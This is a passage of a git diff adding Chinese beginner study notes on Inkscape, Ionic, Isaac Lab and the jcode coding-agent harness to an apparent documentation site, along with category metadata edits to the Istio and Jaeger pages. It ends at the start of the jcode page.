+- 虚线描边、箭头标记（marker）
+- 透明度与混合模式
+
+**Edit → Paste Style** 可复制样式而不复制形状。调色板支持 RGB、HSL、CMYK、Color Wheel 等；吸管工具（D）可从画布取色。
+
+### 6. 图层、对象树与编组
+
+**Layer（Shift+Ctrl+L）** 像 Photoshop 图层一样管理复杂度；**Group（Ctrl+G）** 把多个对象绑成一个整体移动缩放。对象在 XML 树里有父子关系——子对象继承父级变换。
+
+**Object → Align and Distribute** 做图标网格对齐；**Raise / Lower** 控制叠放顺序（Z-order）。
+
+### 7. 文本
+
+文本是**可编辑对象**（除非已 **Path → Object to Path**）。支持：
+
+- 任意已安装字体、可变字体
+- 字距、行距、沿路径排版、文字放入形状内
+- 导出 PDF 时可选保留文字或 **Convert text to paths**
+
+需要可编辑文字时，导出前不要转路径；需要跨平台字体一致时，再转路径或嵌入子集字体。
+
+### 8. Live Path Effects（LPE）
+
+**非破坏性**路径特效：圆角、简化、偏移、虚线包络、可变宽度描边等，像滤镜一样可开关、可堆叠。适合反复调 Logo 圆角而不毁原始节点。
+
+### 9. 扩展（Extensions）
+
+**Extensions** 菜单里是 Python / 脚本插件：批量导出、生成条码、渲染 LaTeX 公式等。用户扩展放在 `~/.config/inkscape/extensions/`。Inkscape 也自带位图描摹（Potrace）、对象散布等。
+
+## 界面与工作流速览
+
+| 区域 | 作用 |
+| --- | --- |
+| 画布 | 中间绘图区，滚轮缩放，中键拖动画布 |
+| 工具栏 | 选择、形状、钢笔、文本、渐变、吸管… |
+| 工具控制栏 | 随当前工具变化的参数（圆角、星角数等） |
+| 色条 | 快速填充/描边颜色 |
+| 对齐与吸附 | 吸附网格、参考线、对象边缘 |
+
+**零基础 10 分钟流程**：新建 A4 文档 → 矩形工具画底板 → 钢笔勾主体 → 填色+描边 → Align 居中 → **File → Export PNG** 导出位图预览。
+
+## 实践案例
+
+### 案例 1：命令行批量导出 PNG（CI / 脚本友好）
+
+Inkscape 1.x 推荐用 **`--actions`** 链式处理，配合 **`--batch-process`** 无 GUI 退出：
+
+```bash
+# 将 logo.svg 导出为 512×512 PNG，背景透明
+inkscape logo.svg \
+  --batch-process \
+  --actions="export-type:png;export-filename:logo-512.png;export-width:512;export-height:512;export-do"
+
+# 只导出 id 为 icon-main 的对象，并裁切到该对象边界
+inkscape icons.svg \
+  --batch-process \
+  --actions="export-id:icon-main;export-id-only;export-type:png;export-filename:icon-main.png;export-area-snap;export-do"
+
+# 同一文件导出 PDF + 纯 SVG（去掉 inkscape: 私有属性）
+inkscape doc.svg \
+  --batch-process \
+  --actions="export-type:pdf;export-filename:doc.pdf;export-do;export-plain-svg;export-filename:doc-plain.svg;export-do"
+```
+
+**要点**：`export-do` 触发一次导出；多条 action 用分号分隔。GUI 里导出过的对象会记住 DPI/文件名 hint，配合 `export-use-hints` 可复现。
+
+### 案例 2：Shell 模式串联多文件
+
+适合本地批处理 dozens of SVG：
+
+```bash
+inkscape --shell <<'EOF'
+file-open:assets/banner.svg
+export-type:png
+export-filename:dist/banner.png
+export-width:1200
+export-do
+file-open:assets/badge.svg
+export-type:png
+export-filename:dist/badge.png
+export-height:256
+export-do
+EOF
+```
+
+每行一条 action；`file-open` 切换文档后再 `export-do`。
+
+### 案例 3：用 XML 编辑器理解对象 id
+
+**Edit → XML Editor** 可实时查看 DOM 树。给对象设 **id**（如 `logo-mark`）后，命令行可 `--export-id=logo-mark` 单独导出，也方便网页里 `<use href="#logo-mark">` 引用符号。
+
+### 案例 4：布尔运算做镂空图标
+
+1. 画外圆 + 内圆，选中两者  
+2. **Path → Difference** 得圆环  
+3. **Object → Fill and Stroke** 设纯色或渐变  
+4. **File → Save As → Optimized SVG** 给前端用  
+
+### 案例 5：位图描摹成矢量
+
+导入黑白 Logo PNG → 选中 → **Path → Trace Bitmap** → 调阈值 → **OK** 生成路径 → 删除原图。彩色图可用多色描摹，但复杂照片更适合留在 [[gimp]] 处理。
+
+## 常用快捷键
+
+| 快捷键 | 功能 |
+| --- | --- |
+| `S` | 选择/变换工具 |
+| `R` / `E` / `*` | 矩形 / 椭圆 / 星形 |
+| `B` / `P` / `N` | 钢笔 / 铅笔 / 节点编辑 |
+| `T` | 文本 |
+| `Ctrl+D` | 复制对象 |
+| `Ctrl+Shift+G` | 取消编组 |
+| `Ctrl+G` | 编组 |
+| `Ctrl+Shift+R` | 显示/隐藏画布边界 |
+| `Ctrl+Shift+E` | 导出 PNG 对话框 |
+| `Alt+拖动` | 微移（高精度） |
+
+Inkscape 强调**键盘可达性**：几乎所有菜单操作都有快捷键，熟练后比纯鼠标快很多。
+
+## 导入与导出格式
+
+| 方向 | 常见格式 |
+| --- | --- |
+| 导入 | SVG, PDF, EPS, AI（≥9）, PNG/JPG/GIF, CDR, VSD |
+| 导出 | SVG, PNG, PDF, EPS, PS, DXF, EMF/WMF, LaTeX+PDF 组合 |
+
+网页用 **Plain SVG** 或 SVGO 压缩；印刷交 **PDF**；与 CAD 交换用 **DXF**。PostScript 不支持透明，透明对象会被栅格化。
+
+## 踩过的坑
+
+1. **忘记设文档尺寸**：默认 A4，做图标应 **File → Document Properties** 改成 24×24 或 512×512，并勾选「Resize page to drawing」再导出。  
+2. **文本转路径后无法改字**：交付印刷稿前再转路径；给开发留可编辑 SVG。  
+3. **渐变在 PDF 里发灰**：检查 CMYK 导出配置与透明度叠印设置。  
+4. **克隆（Clone）与符号**：改原对象会影响所有克隆；unlink 后才独立。  
+5. **0.92 前后 DPI 差异**：老文件打开时 Inkscape 会自动缩放；批处理用 `--convert-dpi-method` 控制行为。  
+6. **过滤器导出 EPS**：模糊等滤镜默认栅格化，矢量交付用 `--export-ignore-filters` 或简化效果。
+
+## 适用 vs 不适用场景
+
+**适用**：
+
+- Logo、图标、UI 资产、技术插图、流程图
+- 需要 SVG 进 Web / 文档 / [[docusaurus]] 站点的矢量源文件
+- 开源流水线批量出 PNG/PDF
+- 学习贝塞尔曲线与排版基础
+
+**不适用**：
+
+- 照片修图、厚涂绘画（用 [[krita]] / GIMP）
+- 多页杂志级排版（考虑 Scribus / InDesign）
+- 3D 建模与渲染（用 [[blender]]）
+- 需要团队协作设计系统实时评论（考虑 Penpot / Figma，可互导 SVG）
+
+## 与邻居项目对照
+
+| 项目 | 维度 | 关系 |
+| --- | --- | --- |
+| [[gimp]] | 位图 | 修照片、纹理；Inkscape 描摹后接矢量 |
+| [[krita]] | 绘画 | 插画笔触；线稿可导出 SVG 精修 |
+| [[blender]] | 3D | Grease Pencil / 曲线可导出 SVG |
+| [[d3]] | 代码生成 SVG | Inkscape 手绘补 D3 做不好的有机形状 |
+| [[godot]] | 游戏 UI | 图标 SVG 导入引擎 |
+
+## 学到什么
+
+- **矢量思维**：先想对象与关系，再想像素——缩放与改版成本骤降。  
+- **SVG 是 lingua franca**：设计、前端、自动化共用同一套 XML，比私有 `.ai` 更适合工程化。  
+- **GUI + CLI 双轨**：设计师用界面，工程师用 `--actions` 接 CI，同一 `.svg` 源文件。  
+- **非破坏性习惯**：多用 LPE、克隆、图层，少过早 **Object to Path**，保留回头路。
+
+## 延伸资源
+
+- 官方功能列表：[inkscape.org/about/features](https://inkscape.org/about/features/)
+- 内置教程：**Help → Tutorials → Basic / Advanced**
+- 命令行手册：`inkscape --help`，`inkscape --action-list`
+- 社区画廊与文档：[inkscape.org/learn](https://inkscape.org/learn/)
diff --git a/src/content/docs/projects/ionic.md b/src/content/docs/projects/ionic.md
new file mode 100644
index 000000000..acfc9c9f0
--- /dev/null
+++ b/src/content/docs/projects/ionic.md
@@ -0,0 +1,262 @@
+---
+title: Ionic — 混合移动应用框架
+来源: https://github.com/ionic-team/ionic-framework
+日期: 2026-06-13
+分类: 后端 API
+子分类: mobile-cross-platform
+provenance: pipeline-v3
+---
+
+# Ionic — 混合移动应用框架
+
+## 日常类比：一套模具，多处成型
+
+想象一下你想卖 T 恤。传统做法是：为 iOS 雇一个设计师和开发者做一套衣服，再为 Android 雇另一套人马做另一套，成本翻倍。
+
+Ionic 的做法像是做一个"通用模具"——你只用 HTML、CSS、JavaScript（或 React/Vue/Angular）画一次设计，Ionic 会自动把它变成能在 iOS、Android 和浏览器里跑的应用。就像乐高积木，搭一次，到处都能用。
+
+## 核心概念
+
+### 1. Web Components 底层
+
+Ionic 基于 [Web Components](https://www.webcomponents.org/introduction) 标准构建。Web Components 是一种浏览器原生技术，让你能创建自定义的 HTML 标签（比如 `<ion-button>`）。它的好处是：
+
+- 跨框架：React、Vue、Angular 都能用同一套组件
+- 性能高：浏览器原生支持，不需要额外的虚拟 DOM 层
+- 自包含：组件的 HTML 结构、样式和行为封装在一起
+
+Ionic 的核心包叫 `@ionic/core`，约 61% TypeScript、25% HTML、10% SCSS。
+
+### 2. 一套代码，多端输出
+
+Ionic 应用可以运行在三种环境中：
+
+- **PWA（渐进式 Web 应用）**：直接在浏览器里跑，无需安装
+- **Native（原生包装）**：通过 [Capacitor](https://capacitorjs.com/) 打包成 iOS/Android 原生应用
+- **桌面端**：Electron 等容器也可以运行
+
+### 3. 内置 UI 组件库
+
+Ionic 提供 40+ 个原生风格的 UI 组件，每个平台自动匹配设计规范：
+
+| 组件 | 作用 |
+|------|------|
+| `ion-content` | 页面主内容区域 |
+| `ion-header` / `ion-footer` | 页面顶部和底部工具栏 |
+| `ion-button` | 按钮（分 primary、secondary、outline 等） |
+| `ion-list` / `ion-item` | 列表和列表项 |
+| `ion-tabs` | 底部标签导航 |
+| `ion-modal` | 弹窗覆盖层 |
+| `ion-toast` | 短暂提示消息 |
+
+### 4. Capacitor：连接 Web 和原生设备
+
+Capacitor 是 Ionic 团队出的另一个项目，它像一个"翻译器"，让 Web 代码能调用手机的原生功能：摄像头、GPS、通知、文件系统。没有它，你的应用只能在浏览器里跑；有了它，就能访问设备硬件。
+
+## 代码示例
+
+### 示例 1：最简 Ionic 页面（ vanilla HTML）
+
+这是完全不依赖任何框架的写法——直接写 HTML 文件就能跑：
+
+```html
+<!DOCTYPE html>
+<html>
+<head>
+  <meta charset="UTF-8" />
+  <title>我的第一个 Ionic 应用</title>
+  <script type="module" src="https://cdn.jsdelivr.net/npm/@ionic/core/dist/ionic/ionic.esm.js"></script>
+  <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/@ionic/core/css/ionic.bundle.css" />
+</head>
+<body>
+  <ion-app>
+    <ion-header>
+      <ion-toolbar>
+        <ion-title>Hello Ionic</ion-title>
+      </ion-toolbar>
+    </ion-header>
+
+    <ion-content class="ion-padding">
+      <h1>欢迎使用 Ionic！</h1>
+      <p>这是一个不依赖任何框架的 Ionic 页面。</p>
+      <ion-button color="primary" expand="block">主要按钮</ion-button>
+      <ion-button color="secondary" expand="block" class="ion-margin-top">次要按钮</ion-button>
+    </ion-content>
+  </ion-app>
+</body>
+</html>
+```
+
+要点：
+
+- `<ion-app>` 是整个应用的根容器
+- `<ion-header>` 放工具栏，`<ion-content>` 放页面内容
+- `<ion-button>` 的 `color` 属性决定颜色（primary=蓝色，secondary=绿色），`expand="block"` 让按钮占满整行
+
+### 示例 2：React + Ionic 组合（函数组件）
+
+当项目变大后，搭配 React 使用会更舒适：
+
+```jsx
+import { useState } from 'react'
+import {
+  IonApp,
+  IonHeader,
+  IonToolbar,
+  IonTitle,
+  IonContent,
+  IonList,
+  IonItem,
+  IonLabel,
+  IonBadge,
+  IonButton,
+  IonFooter,
+  IonToast,
+} from '@ionic/react'
+
+function App() {
+  const [items, setItems] = useState([
+    { id: 1, text: '学习 Ionic 基础', done: false },
+    { id: 2, text: '用 Capacitor 调用相机', done: false },
+    { id: 3, text: '发布到 App Store', done: true },
+  ])
+  const [showToast, setShowToast] = useState(false)
+
+  const toggleItem = (id) => {
+    setItems(items.map(item =>
+      item.id === id ? { ...item, done: !item.done } : item
+    ))
+  }
+
+  return (
+    <IonApp>
+      <IonHeader>
+        <IonToolbar>
+          <IonTitle>我的待办清单</IonTitle>
+        </IonToolbar>
+      </IonHeader>
+
+      <IonContent className="ion-padding">
+        <IonList>
+          {items.map(item => (
+            <IonItem key={item.id} button onClick={() => toggleItem(item.id)}>
+              <IonLabel>
+                <h2>{item.text}</h2>
+                <p>{item.done ? '已完成' : '待完成'}</p>
+              </IonLabel>
+              {item.done && <IonBadge color="success">OK</IonBadge>}
+            </IonItem>
+          ))}
+        </IonList>
+
+        <IonButton expand="block" color="primary" class="ion-margin-top"
+          onClick={() => setShowToast(true)}>
+          提示一个 Toast
+        </IonButton>
+
+        <IonToast
+          isOpen={showToast}
+          onDidDismiss={() => setShowToast(false)}
+          message="操作成功！"
+          duration={2000}
+          color="primary"
+        />
+      </IonContent>
+
+      <IonFooter>
+        <IonToolbar>
+          <IonLabel className="ion-text-center">
+            已完成 {items.filter(i => i.done).length} / {items.length} 项
+          </IonLabel>
+        </IonToolbar>
+      </IonFooter>
+    </IonApp>
+  )
+}
+
+export default App
+```
+
+这个例子展示了 Ionic 最核心的组件用法：
+
+- `IonList` + `IonItem` 组合展示列表数据
+- `IonBadge` 显示状态徽章（如"OK"）
+- `IonToast` 是一个短暂弹出的通知，2 秒后自动消失
+- `IonHeader` / `IonFooter` 分别固定在页面顶部和底部
+- 点击 `IonItem` 可以切换完成状态（`toggleItem` 函数）
+
+### 示例 3：路由和页面导航
+
+Ionic 有自己的路由系统 `ion-router`，支持页面间的平滑过渡动画：
+
+```jsx
+import { IonRouterOutlet, useIonRouter } from '@ionic/react'
+import { Redirect, Route } from 'react-router-dom'
+import Home from './pages/Home'
+import Detail from './pages/Detail'
+
+function AppRoutes() {
+  const router = useIonRouter()
+
+  return (
+    <IonRouterOutlet>
+      <Route exact path="/home" component={Home} />
+      <Route exact path="/detail/:id" component={Detail} />
+      <Redirect from="/" to="/home" exact />
+    </IonRouterOutlet>
+  )
+}
+```
+
+从首页跳到详情页：
+
+```jsx
+// 在 Home 页面中
+<IonButton onClick={() => router.push(`/detail/42`)}>查看详情</IonButton>
+```
+
+Ionic 的路由动画是自动的：前进页面从右滑入，后退页面从右滑出，体验非常接近原生应用。
+
+## 技术栈对比
+
+| 方案 | 原理 | 性能 | 学习曲线 | 适用场景 |
+|------|------|------|----------|----------|
+| **React Native** | 用 JS 渲染原生组件 | 高 | 中等 | 纯移动项目 |
+| **Flutter** | 自绘引擎，Dart 语言 | 高 | 较高 | 纯移动项目 |
+| **Ionic** | Web 技术（HTML/CSS/JS） | 中高 | 低（前端熟悉即可） | Web + 移动全平台 |
+| **纯 Web (PWA)** | 浏览器原生 | 中 | 低 | 只需网页 |
+
+## 关键数字
+
+- GitHub Stars: 52.5k+
+- NPM 周下载量: @ionic/core 超过数百万次
+- 当前版本: v8（2026 年 6 月）
+- 语言占比: TypeScript 61.5%、HTML 24.7%、SCSS 10.2%
+- 支持框架: React、Vue、Angular
+- 开源协议: MIT
+
+## 常用 CLI 命令
+
+```bash
+# 安装 Ionic CLI
+npm install -g @ionic/cli
+
+# 创建新项目（以 React 为例）
+ionic start my-app tab --type react
+
+# 在浏览器中预览
+ionic serve
+
+# 构建生产版本
+ionic build --prod
+
+# 添加到原生平台（需要安装 Xcode / Android Studio）
+ionic capacitor add ios
+ionic capacitor add android
+```
+
+## 小结
+
+Ionic 的本质是一件事：**用你熟悉的 Web 技术栈（HTML/CSS/JS），写一次代码，发布到 Web、iOS、Android 三个平台**。它不创造新语言、不创造新框架，而是站在 React/Vue/Angular 的肩膀上，提供一套精心设计的移动端 UI 组件库。
+
+如果你已经会写前端，Ionic 的学习门槛几乎为零——你只需要学会 `<ion-button>`、`<ion-header>` 这些新标签怎么用，剩下的 React/Vue 知识完全可以直接迁移。
diff --git a/src/content/docs/projects/isaac-lab-nvidia.md b/src/content/docs/projects/isaac-lab-nvidia.md
new file mode 100644
index 000000000..13a2e09c9
--- /dev/null
+++ b/src/content/docs/projects/isaac-lab-nvidia.md
@@ -0,0 +1,345 @@
+---
+title: Isaac Lab 零基础入门笔记
+来源: https://github.com/isaac-sim/IsaacLab
+日期: 2026-06-13
+分类: 机器学习
+子分类: 机器人与 VLA
+provenance: pipeline-v3
+---
+
+# Isaac Lab 零基础入门笔记
+
+## 一、Isaac Lab 是什么
+
+### 日常类比：机器人的"电子游乐场"
+
+想象你要教一只机器狗怎么走路。
+
+如果让真狗来练，你得买设备、占场地，练摔了还会疼。
+
+Isaac Lab 做的事情就是：**在电脑里建一个完全真实的虚拟世界**，让机器人在里面跑、摔、练，练好了再把学会的技能搬到真机器上。
+
+关键好处：
+- GPU 加速：在虚拟世界里可以同时模拟成千上万个机器人，一个 GPU 就能跑
+- 真实物理引擎：碰撞、摩擦、重力，一切按物理定律来
+- 传感器模拟：摄像头、激光雷达、惯性测量单元（IMU），和真机器人一样"感知"世界
+
+### 它建立在谁身上
+
+Isaac Lab 不是从零开始的，它建立在 NVIDIA Isaac Sim 之上。
+
+可以这样理解关系链：
+
+```
+NVIDIA Isaac Sim  →  物理引擎 + 3D 渲染 + 传感器模拟
+Isaac Lab         →  用 Python 把这些能力封装成易用的框架
+```
+
+Isaac Sim 提供底层能力（类似发动机），Isaac Lab 提供方向盘和导航（你写代码操作的部分）。
+
+## 二、核心概念
+
+### 1. Simulation Context（模拟上下文）
+
+这是整个框架的入口。你创建一个 Simulation Context，就是启动了一个可以运行物理仿真的环境。
+
+类比：就像你打开一个游戏，先选择"新游戏"——Simulation Context 就是你的那个"新游戏"。
+
+核心 API：
+
+```python
+from isaaclab.sim import SimulationCfg, SimulationContext
+
+# 设置模拟参数：每步 0.01 秒（即 100Hz）
+sim_cfg = SimulationCfg(dt=0.01)
+sim = SimulationContext(sim_cfg)
+```
+
+### 2. Prims（图元 / 场景元素）
+
+在 Isaac Lab（以及它底层的 USD 格式）中，所有场景里的东西都叫 Prim。
+
+- 地面是一个 Prim
+- 一个红色锥体是一个 Prim
+- 一台机器人是一个 Prim
+- 灯光也是一个 Prim
+
+类比：乐高积木里的每一块积木都是一个 Prim。你把它们搭在一起，就组成了一个场景。
+
+### 3. Assets（资产）
+
+Asset 是比 Prim 更高一层的概念。一个 Asset 可以包含多个 Prim，代表一个完整的物理对象。
+
+Isaac Lab 提供三种主要资产类型：
+
+| 类型 | 说明 | 类比 |
+|------|------|------|
+| RigidObject | 刚体，不会变形 | 一块石头 |
+| Articulation | 带关节的 articulated 物体 | 人、机器狗 |
+| DeformableObject | 可变形物体 | 橡皮泥、海绵 |
+
+### 4. Environments（环境）
+
+Environment 是整个框架的核心。它把场景、机器人、传感器、奖励函数全部打包成一个可交互的单元。
+
+类比：Environment 就像是一个完整的"训练关卡"——里面有地形、有角色、有任务目标、有打分规则。
+
+两种设计工作流：
+- **Manager-Based**：用配置驱动，通过 YAML 或 Python 字典声明式地定义环境
+- **Direct Workflow**：直接用 Python 代码继承基类来编写，更灵活
+
+### 5. Wrappers（包装器）
+
+Isaac Lab 的环境遵循 Gymnasium 接口（这是强化学习的标准接口），但 RL 库（如 Stable-Baselines3）需要自己的包装格式。
+
+Wrapper 做的事情就是把 Isaac Lab 环境"套"成 RL 库能认的格式。
+
+类比：你有个 USB-C 的充电器，但手机是 Lightning 接口——Wrapper 就是那个转接头。
+
+## 三、代码示例
+
+### 示例一：创建空场景并启动模拟
+
+这是最基础的入门代码。运行后会启动一个空白的模拟世界。
+
+```python
+from isaaclab.app import AppLauncher
+from isaaclab.sim import SimulationCfg, SimulationContext
+
+# 1. 先启动 Isaac Sim 应用（这是所有 Isaac Lab 代码的第一步）
+parser = argparse.ArgumentParser()
+AppLauncher.add_app_launcher_args(parser)
+args_cli = parser.parse_args()
+app_launcher = AppLauncher(args_cli)
+simulation_app = app_launcher.app
+
+# 2. 创建模拟上下文
+sim_cfg = SimulationCfg(dt=0.01)
+sim = SimulationContext(sim_cfg)
+sim.set_camera_view([2.5, 2.5, 2.5], [0.0, 0.0, 0.0])
+
+# 3. 启动模拟循环
+sim.reset()
+print("[INFO]: Setup complete...")
+
+while simulation_app.is_running():
+    sim.step()  # 推进一个物理模拟步
+
+simulation_app.close()
+```
+
+要点说明：
+- 每一段 Isaac Lab 代码都必须先通过 `AppLauncher` 启动模拟器
+- `dt=0.01` 表示物理模拟步长为 10 毫秒
+- `sim.step()` 推进一帧，放在 `while` 循环中就构成了持续的模拟
+- 最后用 `simulation_app.close()` 关闭
+
+### 示例二：在场景中生成物体
+
+这个例子展示如何往空场景里添加地面、灯光、锥体、可变形方块等。
+
+```python
+import isaaclab.sim as sim_utils
+
+def design_scene():
+    """设计场景：地面、灯光、物体"""
+
+    # 1. 添加地面
+    cfg_ground = sim_utils.GroundPlaneCfg()
+    cfg_ground.func("/World/defaultGroundPlane", cfg_ground)
+
+    # 2. 添加远处光源
+    cfg_light = sim_utils.DistantLightCfg(
+        intensity=3000.0,
+        color=(0.75, 0.75, 0.75),
+    )
+    cfg_light.func("/World/lightDistant", cfg_light, translation=(1, 0, 10))
+
+    # 3. 创建一个容器（Xform prim），所有物体放在它下面
+    sim_utils.create_prim("/World/Objects", "Xform")
+
+    # 4.  spawn 一个红色锥体（纯视觉，无物理）
+    cfg_cone = sim_utils.ConeCfg(
+        radius=0.15,
+        height=0.5,
+        visual_material=sim_utils.PreviewSurfaceCfg(diffuse_color=(1.0, 0.0, 0.0)),
+    )
+    cfg_cone.func("/World/Objects/Cone1", cfg_cone, translation=(-1.0, 1.0, 1.0))
+    cfg_cone.func("/World/Objects/Cone2", cfg_cone, translation=(-1.0, -1.0, 1.0))
+
+    # 5. spawn 一个绿色锥体（带刚体物理属性）
+    cfg_cone_rigid = sim_utils.ConeCfg(
+        radius=0.15,
+        height=0.5,
+        rigid_props=sim_utils.RigidBodyPropertiesCfg(),
+        mass_props=sim_utils.MassPropertiesCfg(mass=1.0),
+        collision_props=sim_utils.CollisionPropertiesCfg(),
+        visual_material=sim_utils.PreviewSurfaceCfg(diffuse_color=(0.0, 1.0, 0.0)),
+    )
+    cfg_cone_rigid.func(
+        "/World/Objects/ConeRigid", cfg_cone_rigid,
+        translation=(-0.2, 0.0, 2.0),
+        orientation=(0.5, 0.0, 0.5, 0.0),
+    )
+
+    # 6. spawn 一个蓝色可变形方块
+    cfg_cuboid = sim_utils.MeshCuboidCfg(
+        size=(0.2, 0.5, 0.2),
+        deformable_props=sim_utils.DeformableBodyPropertiesCfg(),
+        visual_material=sim_utils.PreviewSurfaceCfg(diffuse_color=(0.0, 0.0, 1.0)),
+        physics_material=sim_utils.DeformableBodyMaterialCfg(),
+    )
+    cfg_cuboid.func("/World/Objects/CuboidDeformable", cfg_cuboid, translation=(0.15, 0.0, 2.0))
+
+def main():
+    sim_cfg = sim_utils.SimulationCfg(dt=0.01, device="cuda:0")
+    sim = sim_utils.SimulationContext(sim_cfg)
+    sim.set_camera_view([2.0, 0.0, 2.5], [-0.5, 0.0, 0.5])
+
+    design_scene()  # 生成场景物体
+
+    sim.reset()
+    print("[INFO]: Scene created...")
+
+    while simulation_app.is_running():
+        sim.step()
+
+    simulation_app.close()
+```
+
+这段代码展示了 Isaac Lab 的核心编程模式：
+
+1. **Cfg 模式**：每个物体都有一个 `Cfg` 类（如 `ConeCfg`、`GroundPlaneCfg`），用来配置该物体的属性
+2. **func() 调用**：配置好后调用 `.func()` 方法，传入路径名和位置参数，物体就真正被生成到场景里了
+3. **USD 路径命名**：`/World/Objects/Cone1` 这种路径是 USD 格式的层级命名，`/` 表示层级关系
+4. **物理属性分层**：`rigid_props` 控制碰撞，`mass_props` 控制质量，`visual_material` 控制外观
+
+### 示例三：用 PPO 算法训练一个平衡环境
+
+这是 Isaac Lab 的完整 RL 训练流程，使用 Stable-Baselines3 的 PPO 算法训练 Cartpole（倒立摆）任务。
+
+```python
+import gymnasium as gym
+from stable_baselines3 import PPO
+from stable_baselines3.common.vec_env import VecNormalize
+
+from isaaclab.envs import ManagerBasedRLEnvCfg
+from isaaclab_rl.sb3 import Sb3VecEnvWrapper
+
+# 1. 创建 Isaac Lab 环境（使用已注册的任务名）
+env_cfg = ManagerBasedRLEnvCfg()
+env_cfg.scene.num_envs = 64  # 同时模拟 64 个环境
+
+env = gym.make("Isaac-Cartpole-v0", cfg=env_cfg)
+
+# 2. 包装成 Stable-Baselines3 能识别的格式
+env = Sb3VecEnvWrapper(env)
+
+# 3. （可选）归一化观测值
+env = VecNormalize(env, training=True, norm_obs=True, norm_reward=True)
+
+# 4. 创建并训练 PPO 代理
+agent = PPO("MlpPolicy", env, verbose=1, tensorboard_log="./logs")
+
+agent.learn(total_timesteps=1_000_000, progress_bar=True)
+
+# 5. 保存模型
+agent.save("./logs/cartpole_model")
+env.close()
+```
+
+训练和运行命令：
+
+```bash
+# 无头模式训练（不显示画面，速度最快）
+./isaaclab.sh -p scripts/reinforcement_learning/sb3/train.py \
+    --task Isaac-Cartpole-v0 \
+    --num_envs 64 \
+    --headless
+
+# 用训练好的模型来玩
+./isaaclab.sh -p scripts/reinforcement_learning/sb3/play.py \
+    --task Isaac-Cartpole-v0 \
+    --num_envs 32 \
+    --use_last_checkpoint
+```
+
+## 四、Isaac Lab 的能力全景
+
+### 支持的机器人类型
+
+Isaac Lab 内置了 16 种以上的机器人模型，包括：
+
+- **机械臂**：Franka, WidowX 等
+- **四足机器人**：Unitree Go1,ANYmal 等
+- **双足机器人**：Atlas, Digit 等
+- **轮式机器人**：Jetbot 等
+
+### 内置环境
+
+超过 30 种预置环境可以直接训练，覆盖：
+- 平衡（Cartpole, Hopper）
+- 抓取（机械臂操作物体）
+- 行走（四足、双足）
+- 多智能体（多个机器人协作/对抗）
+
+### 支持的传感器
+
+| 传感器 | 用途 |
+|--------|------|
+| RGB / Depth / Segmentation 相机 | 视觉感知 |
+| 激光雷达（Ray Caster） | 距离测量 |
+| IMU | 惯性测量 |
+| 接触传感器 | 碰撞检测 |
+
+### 支持的 RL 库
+
+Isaac Lab 不绑定单一 RL 框架，可通过 Wrapper 对接：
+
+- **RSL RL**：针对 Legged Robot 优化的实现
+- **SKRL**：多智能体友好的库
+- **RL Games**：NVIDIA 自家的 GPU 加速 RL
+- **Stable Baselines3**：最容易上手的入门库
+
+## 五、学习路径建议
+
+如果你是零基础，推荐的入门顺序：
+
+1. **先看环境能跑起来**
+   - 按安装文档装好 Isaac Lab
+   - 跑通一个已有的环境（如 `Isaac-Cartpole-v0`）
+
+2. **学写"空场景"脚本**
+   - 参考 `00_sim/create_empty.py`
+   - 理解 AppLauncher + SimulationContext 的基本结构
+
+3. **学生成物体**
+   - 参考 `00_sim/spawn_prims.py`
+   - 尝试修改锥体的颜色、位置、数量
+
+4. **学加载机器人**
+   - 参考 `01_assets/run_articulation.py`
+   - 尝试控制一个真实机器人模型的关节
+
+5. **进入强化学习**
+   - 参考 `03_envs/create_manager_rl_env.py`
+   - 训练 Cartpole 并观察 reward 变化
+
+6. **添加传感器**
+   - 参考 `04_sensors/add_sensors_on_robot.py`
+   - 在机器人上加摄像头，观察输出
+
+## 六、重要注意事项
+
+- Isaac Lab 需要 **Isaac Sim** 作为依赖，两者版本有对应关系
+- 支持 Linux 和 Windows，但目前社区以 Linux 为主
+- 所有代码都是 Python 脚本，不需要额外的配置语言
+- 使用 Hydra 做配置管理，可以通过命令行参数覆盖设置
+- 支持多 GPU 和分布式训练，适合大规模仿真
+
+## 参考资料
+
+- 官方文档：https://isaac-sim.github.io/IsaacLab
+- GitHub 仓库：https://github.com/isaac-sim/IsaacLab
+- 技术论文（arXiv）：https://arxiv.org/abs/2511.04831
+- 社区讨论：https://github.com/isaac-sim/IsaacLab/discussions
diff --git a/src/content/docs/projects/istio.md b/src/content/docs/projects/istio.md
index 0eadb5227..7f4280bb0 100644
--- a/src/content/docs/projects/istio.md
+++ b/src/content/docs/projects/istio.md
@@ -2,7 +2,7 @@
 title: Istio — 给微服务装一层透明的网络治理面
 来源: 'https://github.com/istio/istio'
 日期: 2026-06-01
-子分类: DevOps 与运维
+子分类: cloud-native
 分类: 基础设施
 难度: 中级
 provenance: pipeline-v3
diff --git a/src/content/docs/projects/jaeger.md b/src/content/docs/projects/jaeger.md
index e1fc097e6..d7dafab5a 100644
--- a/src/content/docs/projects/jaeger.md
+++ b/src/content/docs/projects/jaeger.md
@@ -2,8 +2,8 @@
 title: Jaeger — 分布式追踪系统
 来源: https://github.com/jaegertracing/jaeger
 日期: 2026-05-29
-子分类: 监控 / 分布式追踪
-分类: 分布式系统
+子分类: cloud-native
+分类: 基础设施
 难度: 中级
 provenance: pipeline-v3
 ---
diff --git a/src/content/docs/projects/jcode-coding.md b/src/content/docs/projects/jcode-coding.md
new file mode 100644
index 000000000..3ad301440
--- /dev/null
+++ b/src/content/docs/projects/jcode-coding.md
@@ -0,0 +1,274 @@
+---
+title: jcode - 自动开发型 Coding Agent Harness 零基础学习笔记
+来源: https://github.com/1jehuang/jcode
+日期: 2026-06-13
+分类: CLI
+子分类: 开发者工具
+provenance: pipeline-v3
+---
+
+# jcode - 自动开发型 Coding Agent Harness 零基础学习笔记
+
+## 什么是 jcode？
+
+先想一个问题：你平时写代码时，是不是先想做什么，再动手写，写完测试，有 bug 再改？jcode 做的事情和你差不多，但它是一个 AI agent 框架，叫做 **Coding Agent Harness（编程 Agent 的驾驶舱）**。
+
+你可以把 jcode 理解为给 AI agent 配的"工作台"。就像程序员用 VS Code 写代码一样，jcode 是 AI agent 写代码的工作环境。
+
+但它和普通 AI 编程工具不一样的地方在于：**jcode 能让 agent 自己改自己的源代码**。你告诉它"进入自开发模式"，它就会开始修改 jcode 自己的 Rust 源码，编译、测试、重新加载，全程全自动。这有点像让一个机器人不仅帮你做饭，还能自己改良菜谱。
+
+### 一句话总结
+
+jcode 是一个 Rust 写的命令行工具，让 AI agent 在终端里写代码、管理多会话、协作编程，并且能够自动改进自身。
+
+---
+
+## 核心概念
+
